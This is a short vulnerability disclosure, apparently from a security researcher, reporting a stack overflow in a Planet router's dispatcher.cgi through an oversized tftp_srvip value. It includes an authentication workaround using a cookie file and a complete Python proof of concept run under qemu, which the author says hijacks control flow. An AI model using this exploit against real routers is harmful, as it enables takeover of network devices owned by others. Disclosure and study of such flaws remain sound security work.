web_tool_upgradeManager_post-tftp_srvip

During my internship at Qi An Xin Tiangong Lab, I discovered a stack overflow vulnerability in the Planet router.

By analyzing the dispatcher file in the bin directory, I found that the function web_tool_upgradeManager_post contains a stack overflow vulnerability.

The stack overflow can be triggered bytftp_srvip value, which leads to a strcpy stack overflow.

In the main function, there is an account authentication detection. We create a cookie_0 in the tmp directory, with the content of “20 0 0”, and its function is to create a cookie with sufficient permissions to access this route.

20 0 0

Through IDA, it can be seen that the stack space is 0x220

The content of the poc.py file is as follows:

import os


a = 5900
var_name = "tftp_srvip"
b = 'a' * 0x500
c = "upmethod=tftp"

poc_content = f"&cmd={a}&{var_name}={b}&{c}"
with open('poc', 'w') as f:
    f.write(poc_content)

command = (
    "sudo chroot . ./qemu-mips-static "
    "-E REQUEST_METHOD=POST "
    "-E HTTP_COOKIE='hid=0' "
    "-L ./lib "
    "-g 1234 "
    "./dispatcher.cgi "
    "< poc"  
)


os.system(command)

Attack result

Through the above image, we can see that we have overflowed to 0x3e0 and successfully hijacked the control flow. If necessary, more can be overflowed.
